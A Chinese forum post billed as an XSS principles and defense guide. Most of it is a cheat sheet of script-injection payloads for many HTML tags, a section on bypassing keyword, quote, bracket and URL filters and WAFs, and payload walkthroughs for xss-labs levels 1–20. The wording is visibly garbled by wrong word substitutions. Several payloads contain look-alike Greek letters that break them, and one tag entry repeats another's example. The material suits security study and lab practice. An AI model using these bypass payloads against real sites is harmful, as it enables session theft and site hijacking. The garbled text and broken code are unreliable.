Web 安全必读：跨站脚本攻击 (XSS) 原理与防御指南

罪恶克星  金牌会员 | 2024-12-22 05:49:39 | 显示全部楼层 | 阅读模式
打印 上一主题 下一主题
楼主

主题 855|帖子 855|积分 2565

XSS（Cross-Site Scripting，跨站脚本攻击）是一种经典的网络攻击技术，攻击者通过注入恶意代码，使其在用户的浏览器中实行，从而窃取敏感信息、控制用户会话或劫持网页行为。
XSS 的攻击方式多种多样：


  • 动态注入：通过不安全的输出函数，将恶意 JavaScript 直接插入页面中。
  • 文件攻击：利用文件上传（如 PDF、SVG 文件等），让浏览器在剖析文件时实行嵌入的恶意代码。
原明白析：

XSS 的核心在于：利用用户信托的网页，诱使浏览器实行攻击者的恶意代码。
攻击者会将恶意脚本嵌入页面的某些部分，如：


  • <script> 标签
  • HTML 变乱属性（如 onerror, onclick）
  • 伪协议（如 javascript:）
当用户访问受感染的页面时，浏览器在剖析 HTML 或处置惩罚文件时会实行这些恶意代码，造成安全威胁。
触发方式

文件内容中的xss

PDFxss
利用嵌入在 PDF 文件中的恶意脚本来触发的攻击。这种攻击通常依赖于浏览器对 PDF 的内置剖析能力。
触发点：


  • PDF 文件中的 JavaScript Actions或 URI Actions。
  • 特殊的嵌入点，如 Launch, GoToR, 或恶意的链接。
实行条件：


  • 用户在浏览器中直接打开 PDF 文件，触发浏览器的 PDF 剖析器。
  • 某些浏览器大概会自动剖析 PDF 文件中的 JavaScript。
SVGxss
利用 SVG（可扩展矢量图形）文件中的恶意代码触发的攻击。SVG 是一种基于 XML 的图形格式，支持嵌入脚本和动态内容，因此也是XSS 攻击的潜伏载体
触发点：


  • SVG 文件中的 <script> 标签。
  • 变乱处置惩罚器（如 onload, onclick 等）。
实行条件：


  • 浏览器直接加载或剖析 SVG 文件。
例如：在svg文件中插入恶意脚本
  1. <svg xmlns="http://www.w3.org/2000/svg">
  2.   <script>alert("XSS triggered in SVG!");</script>
  3. </svg>
复制代码
XMLxss
可以包含嵌套的动态脚本内容
HTMLxss
直接嵌入恶意的 <script> 标签
MIME伪造
攻击者上传的文件大概被伪装成无害文件（如图片），但实际上包含恶意代码。假如服务器没有严格验证文件内容和 MIME 范例，浏览器大概将其剖析为 HTML 或脚本。
例如：上传一个伪装成图片的HTML文件，服务器没有验证 MIME 范例，浏览器大概会直接剖析并实行其中的 js代码
  1. Content-Type: image/jpeg
  3. <html>
  4.   <script>alert('XSS via MIME type');</script>
  5. </html>
复制代码
文件名中的xss

在文件名中写入恶意js代码。假如服务器在页面中直接输出文件名，而没有对其举行适当的转义，攻击者可以通过特殊文件名触发 XSS
例如：恶意文件名
  1. "><script>alert('XSS from filename')</script>.jpg
复制代码
假如文件名直接被嵌入到html文件中，恶意脚本就会被实行
  1. <img src="/uploads/"><script>alert('XSS')</script>.jpg">
复制代码
HTTP请求中的xss

url参数
在url参数中注入恶意脚本，利用应用步伐直接将其输出到html页面中。
例如：
  1. http://example.com/page?name=<script>alert('XSS')</script>
复制代码
HTTP头部
如： User-Agent, Referer, Cookie等等。假如应用步伐记载这些头信息并将其显示到页面中（如日记页面或分析页面），大概会触发 XSS。
例如：
  1. Referer: <script>alert('XSS')</script>
复制代码
表单提交数据
攻击者在表单提交的数据中注入脚本。假如应用未对表单内容举行清算，大概会直接输出到页面中。
json数据
一些应用步伐通过 JSON 数据与前端交互。假如 JSON 数据包含用户输入内容，并且前端直接将其插入 DOM 中，大概触发 XSS。
例如：后端返回：
  1. { "message": "<script>alert('XSS')</script>" }
复制代码
前端直接利用：
  1. document.body.innerHTML = response.message;
复制代码
其他

富文本编辑器
富文本编辑器允许用户输入 HTML 内容，如 <b> 或 <i> 标签。假如未对输入内容举行过滤，大概会导致 XSS。
例如：
  1. <b onmouseover="alert('XSS')">Hover me!</b>
复制代码
DOM元素操作
DOM-Based XSS 直接利用浏览器中的 JavaScript 操作 DOM 的特性，通过动态注入恶意内容触发攻击。
常见漏洞点：


  • 动态插入 HTML 内容（innerHTML）。
  • URL 剖析和操作（document.location, window.location.hash）。
  • 动态创建脚本标签（document.createElement('script')）。
例如：
  1. document.write(location.hash);
复制代码
图片标签
图片标签（<img>）可以通过变乱处置惩罚器（如 onerror）注入脚本
例如：
  1. <img src="invalid.jpg" onerror="alert('XSS')">
复制代码
CSRF结合xss
攻击者通过 CSRF（Cross-Site Request Forgery）在用户已登录的环境下发送恶意请求，并通过 XSS 扩大攻击范围。
动态天生的错误信息
攻击者通过提交恶意输入触发错误页面或调试信息显示，利用这些输出作为攻击载体。
例如：
  1. Error: Invalid input "<script>alert('XSS')</script>"
复制代码
外交平台或帖子下面评论
攻击者在外交平台的帖子或评论中注入恶意代码。假如平台未过滤用户天生的内容，大概导致 XSS
例如：
  1. <script>alert('XSS in here!');</script>
复制代码
分类：

根据攻击脚本存储的方式

反射型
属于非长期型，触发点在url参数里，提交数据到服务器，服务器返回给浏览器，需手动发给用户，用户点击之后触发js代码
存储型
属于长期型 ，提交的恶意代码存储在数据库里，只要用户访问就能实行恶意代码
根据脚本是否通过服务器处置惩罚

dom型
属于非长期型，并没有经过服务器的处置惩罚就写到了页面里，典型就是jquery-xss
反射型和存储型
需要通过服务器举行处置惩罚。服务器会将用户输入嵌入到返回的 HTML 中，导致浏览器剖析并实行脚本。
根据长期性

长期型（存储型 XSS）： 攻击脚本被存储下来，每次访问相关页面时都会触发，具有连续性。
非长期型（反射型和 DOM 型 XSS）： 攻击脚本不被存储，通常需要通过用户交互（如点击链接）触发。
根据攻击范围
self-xss：攻击脚本只能影响本身。
常见的js触发标签

无过滤环境

0x01 <script>
  1. <script>alert("x");</script>
复制代码
0x02 <img>
  1. 图片加载错误时触发
  2. <img src="x" onerror=alert(1)>
  3. <img src="1" οnerrοr=eval("alert('xss')")>
  4. 鼠标指针移动到元素时触发
  5. <img src=1 onmouseover="alert(1)">
  6. 鼠标指针移出时触发
  7. <img src=1 onmouseout="alert(1)">
复制代码
0x03 <a>
  1. <a href="https://www.qq.com">qq</a>
  2. <a href=javascript:alert('xss')>test</a>
  3. <a href="javascript:a" onmouseover="alert(/xss/)">aa</a>
  4. <a href="" οnclick=alert('xss')>a</a>
  5. <a href="" οnclick=eval(alert('xss'))>aa</a>
  6. <a href=kycg.asp?ttt=1000 οnmοuseοver=prompt('xss') y=2016>aa</a>
复制代码
0x04 <input>
  1. <input onfocus="alert('xss');">
  2. 竞争焦点，从而触发onblur事件
  3. <input οnblur=alert("xss") autofocus><input autofocus>
  4. 通过autofocus属性执行本身的focus事件，这个向量是使焦点自动跳到输入元素上,触发焦点事件，无需用户去触发
  5. <input onfocus="alert('xss');" autofocus>
  6. <input name="name" value="">
  7. <input value="" οnclick=alert('xss') type="text">
  8. <input name="name" value="" οnmοuseοver=prompt('xss') bad="">
  9. <input name="name" value=""><script>alert('xss')</script>
  10. 按下按键时触发
  11. <input type="text" onkeydown="alert(1)">
  12. 按下按键时触发
  13. <input type="text" onkeypress="alert(1)">
  14. 松开按键式时触发
  15. <input type="text" onkeyup="alert(1)">
复制代码
0x05 <from>
  1. <form action=javascript:alert('xss') method="get">
  2. <form action=javascript:alert('xss')>
  3. <form method=post action=aa.asp? οnmοuseοver=prompt('xss')>
  4. <form method=post action=aa.asp? οnmοuseοver=alert('xss')>
  5. <form action=1 οnmοuseοver=alert('xss)>
  6. <form method=post action="data:text/html;base64,<script>alert('xss')</script>">
  7. <form method=post action="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
复制代码
0x06<iframe>
  1. <iframe οnlοad=alert("xss");></iframe>
  2. <iframe src=javascript:alert('xss')></iframe>
  3. <iframe src="data:text/html,&lt;script&gt;alert('xss')&lt;/script&gt;"></iframe>
  4. <iframe src="data:text/html;base64,<script>alert('xss')</script>">
  5. <iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
  6. <iframe src="aaa" οnmοuseοver=alert('xss') /><iframe>
  7. <iframe src="javascript&colon;prompt&lpar;``xss``&rpar;"></iframe>(````只有两个``)
复制代码
0x07<svg>
  1. <svg onload=alert(1)>
复制代码
0x08<body>
  1. <body onload="alert(1)">
  2. 利用换行符以及autofocus，自动去触发onscroll事件，无需用户去触发
  3. <body οnscrοll=alert("xss");><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>
复制代码
0x09<button>
  1. 元素上点击鼠标时触发
  2. <button onclick="alert(1)">text</button>
复制代码
0x0A<p>
  1. 元素上按下鼠标时触发
  2. <p onmousedown="alert(1)">text</p>
  3. 元素上释放鼠标时触发
  4. <p onmouseup="alert(1)">text</p>
复制代码
0x0B<details>
  1. 元素上按下鼠标时触发
  2. <p onmousedown="alert(1)">text</p>
  3. 元素上释放鼠标时触发
  4. <p onmouseup="alert(1)">text</p>
复制代码
0x0C<select>
  1. <select onfocus=alert(1)></select>
  2. 通过autofocus属性执行本身的focus事件，这个向量是使焦点自动跳到输入元素上,触发焦点事件，无需用户去触发
  3. <select onfocus=alert(1) autofocus>
复制代码
0x0D<video>|
  1. <video><source onerror="alert(1)">
复制代码
0x0E<audio>
  1. <audio src=x οnerrοr=alert("xss");>
复制代码
0x0F<textarea>
  1. <textarea οnfοcus=alert("xss"); autofocus>
复制代码
0x10<keygen>
  1. <keygen autofocus onfocus=alert(1)> //仅限火狐
复制代码
0x11<marquee>
  1. <marquee onstart=alert("xss")></marquee> //Chrome不行，火狐和IE都可以
复制代码
0x12<isindex>
  1. <isindex type=image src=1 οnerrοr=alert("xss")>//仅限于IE
复制代码
0x13利用link远程包含js文件
  1. <link rel=import href="http://127.0.0.1/1.js"> //在无CSP的情况下才可以
复制代码
0x14js伪协议|
  1. <a>标签
  2. <a href="javascript:alert('xss');">xss</a>
  3. <iframe>标签
  4. <iframe src=javascript:alert('xss');></iframe>
  5. <img>标签
  6. <img src=javascript:alert('xss')>//IE7以下
  7. <form>标签
  8. <form action="Javascript:alert(1)"><input type=submit>
复制代码
0x15expression属性
  1. <img style="xss:expression(alert('xss''))"> // IE7以下
  2. <div style="color:rgb(''�x:expression(alert(1))"></div> //IE7以下
  3. <style>#test{x:expression(alert(/XSS/))}</style> // IE7以下
复制代码
0x16background属性
  1. <table background=javascript:alert(1)></table> //在Opera 10.5和IE6上有效
复制代码
有过滤环境

0x01过滤空格
  1. 使用\代替空格
  2. <img/src="x"/οnerrοr=alert("xss");>
复制代码
0x02过滤关键字
  1. 大小写绕过
  2. <ImG sRc=x onerRor=alert("xss");>
  3. 双写关键字(有些waf可能会只替换一次且是替换为空，这种情况下我们可以考虑双写关键字绕过)
  4. <imimgg srsrcc=x οnerrοr=alert("xss");>
  5. 字符拼接(利用eval)
  6. <img src="x" onerror="a=aler;b=t;c='(xss);';eval(a+b+c)">
  7. 字符拼接(利用top)
  8. <script>top["al"+"ert"](``xss``);</script>(只有两个``这里是为了凸显出有`符号)
复制代码
0x03其他字符混淆
  1. 有的waf可能是用正则表达式去检测是否有xss攻击，如果我们能fuzz出正则的规则，则我们就可以使用其它字符去混淆我们注入的代码了
  2. 下面举几个简单的例子
  3. 可利用注释、标签的优先级等
  4. <<script>alert("xss");//<</script>
  5. <scri<!--test-->pt>alert("hello world!")</scri<!--test-->pt>
  6. <title><img src=</title>><img src=x onerror="alert(``xss``);"> 因为title标签的优先级比img的高，所以会先闭合title，从而导致前面的img标签无效
  7. <SCRIPT>var a="\";alert("xss");//";</SCRIPT>
复制代码
0x04过滤单双引号
  1. 如果是html标签中，我们可以不用引号；如果是在js中，我们可以用反引号代替单双引号
  2. <img src="x" onerror=alert(``xss``);>
  3. 使用编码绕过，具体看下面列举的例子：
  4. Unicode编码绕过
  5. <img src="x" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#34;&#120;&#115;&#115;&#34;&#41;&#59;">
  6. <img src="x" onerror="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')">
  7. url编码绕过
  8. <img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))">
  9. <iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
  10. Ascii码绕过
  11. <img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">
  12. Hex绕过
  13. <img src=x οnerrοr=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>
  14. 八进制绕过
  15. <img src=x οnerrοr=alert('\170\163\163')>
  16. base64绕过
  17. <img src="x" onerror="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))">
  18. <iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
复制代码
0x05过滤括号
  1. 当括号被过滤的时候可以使用throw来绕过
  2. <svg/οnlοad="window.οnerrοr=eval;throw'=alert\x281\x29';">
复制代码
0x06过滤url地点
  1. 使用url编码
  2. <img src="x" οnerrοr=document.location=``http://%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d/``>
  3. 使用IP
  4. <img src="x" οnerrοr=document.location=``http://2130706433/``>十进制
  5. <img src="x" οnerrοr=document.location=``http://0177.0.0.01/``>八进制
  6. <img src="x" οnerrοr=document.location=``http://0x7f.0x0.0x0.0x1/``>十六进制
  7. <img src="x" οnerrοr=document.location=``//www.baidu.com``>html标签中用//可以代替http://
  8. 使用\ (注意：在windows下\本身就有特殊用途，是一个path 的写法，所以\在Windows下是file协议，在linux下才会是当前域的协议)
  9. 使用中文逗号代替英文逗号
  10. <img src="x" onerror="document.location=``http://www。baidu。com``">//会自动跳转到百度
复制代码
xss-labs通关

level1-level10

level1(URL传参)
检察网页源码，发现get方式传入的参数直接被写入到网页html中

  1. payload: ?name=<script>alert(1)</script>
复制代码
level2(输入框注入)
尝试上一关的payload,发现行不通。

检察网页源码，发现被转义。第一部分举行了html实体转义，但是第二个没有

检察文件源码，htmlspeacialchars()函数会把一些预定义字符转换称html实体

  1. echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"
复制代码
  1. &：转换为&amp;
  2. "：转换为&quot;
  3. '：转换为成为 '
  4. <：转换为&lt;
  5. >：转换为&gt;
复制代码
第二关这里只过滤了第一个str，利用反标签符号闭合双引号即可绕过(闭合value的引号和尖括号)
  1. payload: "><script>alert(1)</script><"
复制代码
level3(变乱注入)
这关是单引号闭合，尝试level2的payload改为单引号,发现也被转义

检察文件源码，发现两个部分都利用了htmlspecialchars()函数

但是htmlspecialchars()只转义<和>，利用onfocus变乱绕过
   在js中有一个onfocus函数，常与<input>,<select>,<a>标签一起利用得到焦点的变乱，然后共同js伪协议来实行js代码
  1. payload: ' οnfοcus=javascript:alert(1) '
复制代码
输入提交之后还要再点一下搜刮框，才气触发变乱
level4(引号范例)
这关是双引号闭合，将上一关payload改为双引号闭合，再点击搜刮框即可触发变乱

  1. payload: " οnfοcus=javascript:alert(1) "
复制代码
level5(a标签注入)
输入上一关的payload，发现onfocus被更换成o_nfocus

尝试输入<script>，发现被强制改为scr_ipt
检察文件源代码发现strtolower函数把所有字母转换成小写，并且str_replace函数会将script和on更换

这时利用<a>标签的href属性，尝试注入（前提是闭合号<“”>没失效）
  1. <a href="javascript:alert(1);">xx</a>
复制代码
要添加一个标签就得先闭合前面的标签
发现前后分别少了“> 和<” ，构造payload
  1. "><a href="javascript:alert(1);">xx</a>
  2. <"
复制代码
然后点击出现的xx，结束

level6(大小写绕过)
利用上一关的payload失败，检察网页源码发现href酿成hr_ef

然后尝试onfocus绕过也失败，然后尝试大小写，发现可以
  1. //第一种，脚本注入
  2. " ><SCRIPT>alert(1)</SCRIPT>< "
  3. //第二种，焦点事件
  4. " ONDOCUS=javascript:alert(1) "
  5. //a标签href属性的
  6. "> <a HREF=javascript:alert(1)>x</a> <"
复制代码
检察文件源代码，发现利用了str_replace函数举行更换，但还好没用利用大小写转换函数，因此可以用大小写更换举行绕过str_replace函数

level7(双写绕过)
尝试上一关的payload，发现过滤了script、href等并且有转换小写的函数

尝试双写绕过，发现乐成绕过
  1. payload: " ><sscriptcript>alert(1)</sscriptcript>< "
复制代码
检察文件源代码，同样过滤了一些东西

不出意料过滤了很多东西
其中src是一个指向，与href差不多，但实行内容不同
data一般在<iframe>标签中共同data:text/html
在第二关测一下src，共同onerror属性，插入一个\<img>标签，闭合掉双引号和括号
   onerror属性指的是当图片加载不出来的时间会触发js函数，因为这里src指的是666，而不是图片地点，就会触发alert函数
  1. "> <img src='666' οnerrοr=alert(1)> <"
复制代码
img标签其他姿势
1.当鼠标移出图片的时间实行的属性onmouseout
  1. "> <img src=666 οnmοuseοut="alert(1)"> <"
复制代码
2.当鼠标移动到图片的时间实行的属性onmouseover
  1. "> <img src=1 οnmοuseοver="alert(1)"> <"
复制代码
再看一下data
利用iframe标签，插入一个标签data:text/html;base64, 将反面的内容举行base64解码
PHNjcmlwdD5hbGVydCgpPC9zY3JpcHQ+举行Base64解码是<script>alert()</script>
  1. "> <iframe src="data://text/html;base64,PHNjcmlwdD5hbGVydCgpPC9zY3JpcHQ+"> <"
复制代码
level8(Unicode编码)
尝试一下前面的大小写payload，发现输入的值被插入到两个地方，并且存在字符串过滤和强制转换小写

试试过滤了什么，发现有强制转换称小写字母，有htmlspecialchars函数，过滤了src、data、onfocus、href、script
  1. " sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert(1)>
复制代码
双写也失败
这里利用href的隐藏属性自动解码Unicode,可以插入一段js伪协议
  1. javascript:alert(1)
  2. unicode编码之后变成：
  3. &#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;
复制代码
最后检察一下文件源代码，发现过滤了好多字符，并且将双引号也举行实体化了

level9(指定字符绕过)
先试试测试一下关键字过滤了什么
  1. " sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()>
复制代码
发现存在强制转换小写和实体化

不知道怎么搞了，检察文件源码

当传入参数不包含http://时，其值为假，将触发if语句的实行。
因此我们需要在参数中添加http:// ，并将其注释掉，防止被实际实行影响弹窗的显示。
为了确保strops函数能返回一个数值，需构造一个特定的payload
  1. javascript:alert(1)
  2. 进行unicode编码，并在后面加上http://，并将它注释掉
  3. &#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;/* <http://> */
复制代码
level10(属性修改)
这个需要get传参,测试一下关键字
  1. " sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()>
复制代码
传进去的参数只插入了h2，并且下面一堆input有hidden。并且双引号和<>也被实体化了

检察文件源代码发现还有其他隐藏的传参方法，下次要一个一个测试，这里get传参t_sort,并且过滤<>,但是可以用onfocus变乱

由于输入框被隐藏，需要添加type=“text”，构造payload
  1. ?t_sort=" οnfοcus=javascript:alert() type="text
复制代码
level11-level20

level11(referer传参)
直接跳转是来到下面这个页面，t_ref默认带value，发现是http头的referer参数|
   referer负责记载是从哪个地点转跳到这里的
  

首先看页面源代码有四个参数，挨个get传参发现没反应，post也是。抓包尝试修改referer，发现t_ref变革

回显的t_ref中<>被删掉，可以用onfocus，
  1. payload： Referer: " οnfοcus=javascript:alert() type="text
复制代码
最后检察一下文件源码，发现确实是这样，并且过滤了<>

level12(UA头传参)
这次t_ua的值是UA头的值，尝试UA头传参,用上一个payload即可

  1. payload： User-Agent: " οnfοcus=javascript:alert() type="text
复制代码
level13(cookie传参)
检察页面源代码，猜测这关是传入cookie

空格用+取代即可
  1. payload：Cookie: user="+οnfοcus=javascript:alert()+type="text
复制代码
level14(上传图片xss)
由于iframe调用的文件地点失效，无法举行测试。
本关主要利用exif xss漏洞,exif是一种可交换图像文件格式，可以记载照片的属性信息和拍摄数据。

level15(外部地点包含)
进入之后会发现一个ng-include
   ng-include是指文件包含，用来包含外部的html文件，假如包含的地点，需要加引号
  

  1. 尝试包含一下第一关
  2. ?src='level1.php'
复制代码
发现可以包含之前的关卡对其传参，达到弹窗的效果

  1. 依旧测试一下过滤：
  2. ?src=" ' sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()> &#106;
复制代码
发现依然有html实体化函数，这里不能包含直接弹窗的东西如<script>,但可以用<a>、<input>、<img>、<p>等标签
  1. payload：?src='level1.php?name=<img src=1 οnmοuseοver=alert()>'
复制代码
当移动鼠标的时间触发弹窗
检察文件源代码，发现htmlspecialchars函数形同虚设
  1. $str = $_GET["src"];
  2. echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
复制代码
level16(空格绕过)
keyword默认传入test，发现在center标签中，那就不用闭合了

依旧测试过滤
  1. ?keyword=" ' sRc DaTa OnFocus OnmOuseOver OnMouseDoWn P <sCriPt> <a hReF=javascript:alert()> &#106;
复制代码
有转换小写函数，将script标签更换成空格，然后将空格实体化，

检察文件源代码发现/也被更换
  1. $str = strtolower($_GET["keyword"]);
  2. $str2=str_replace("script","&nbsp;",$str);
  3. $str3=str_replace(" ","&nbsp;",$str2);
  4. $str4=str_replace("/","&nbsp;",$str3);
  5. $str5=str_replace("        ","&nbsp;",$str4);
  6. echo "<center>".$str5."</center>";
复制代码
但是空格可以用回车取代，回车的url编码为%0a
  1. payload：?keyword=<svg%0Aonload=alert(1)>
复制代码
level17(认识触发变乱的利用)
先测试关键字
  1. ?arg01=" ' sRc DaTa OnFocus OnmOuseOver OnMouseDoWn P <sCriPt> <a hReF=javascript:alert()>; &arg02=" ' sRc DaTa OnFocus OnmOuseOver OnMouseDoWn P <sCriPt> <a hReF=javascript:alert()>;
复制代码
发现所有传入的参数都在embed标签中，打开这个swf文件(flash插件文件，但现在很多浏览器都不支持)，

我们改一下源代码，将src指向其它图片即可，然后利用下面的payload，再点击一下src指向的图片即可
  1. payload：?arg02= onclick=alert()
复制代码
level18
和上一关一模一样
level19(Flash xss)
换一个支持flash插件的浏览器，利用前面的payload，但是由于有实体化函数，无法闭合

这里用到Flash xss注入，即往Flash内里插入一段js代码，然后手动实行
  1. payload：?arg01=version&arg02=<a href="javascript:alert()">here</a>
复制代码
level20(Flash xss)
这里也是有双引号
  1. payload：?arg01=id&arg02=xss"))}catch(e){alert(1)}//%26width=123%26height=123
复制代码
其中的"是为了闭合，让id不等于xss))}catch(e){alert(/xss/)}//，因为id的值会全部传入到flash中。
\是为了转义，假如不加\，id就会酿成xss。
//反面的%26width=123&26height=123，%26其实是&

免责声明：如果侵犯了您的权益，请联系站长，我们会及时删除侵权内容，谢谢合作！更多信息从访问主页：qidao123.com:ToB企服之家，中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看，没有账号？立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览
返回列表

快速回复

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

罪恶克星

金牌会员
这个人很懒什么都没写!

楼主热帖

标签云

挺好的 服务器
微信订阅号
微信服务号
微信客服
小程序
H5
关于我们 商务合作 网站地图
©Copyright 2022-2024 杭州祥升科技有限公司 版权所有 浙ICP备20004199号
快速回复 返回顶部 返回列表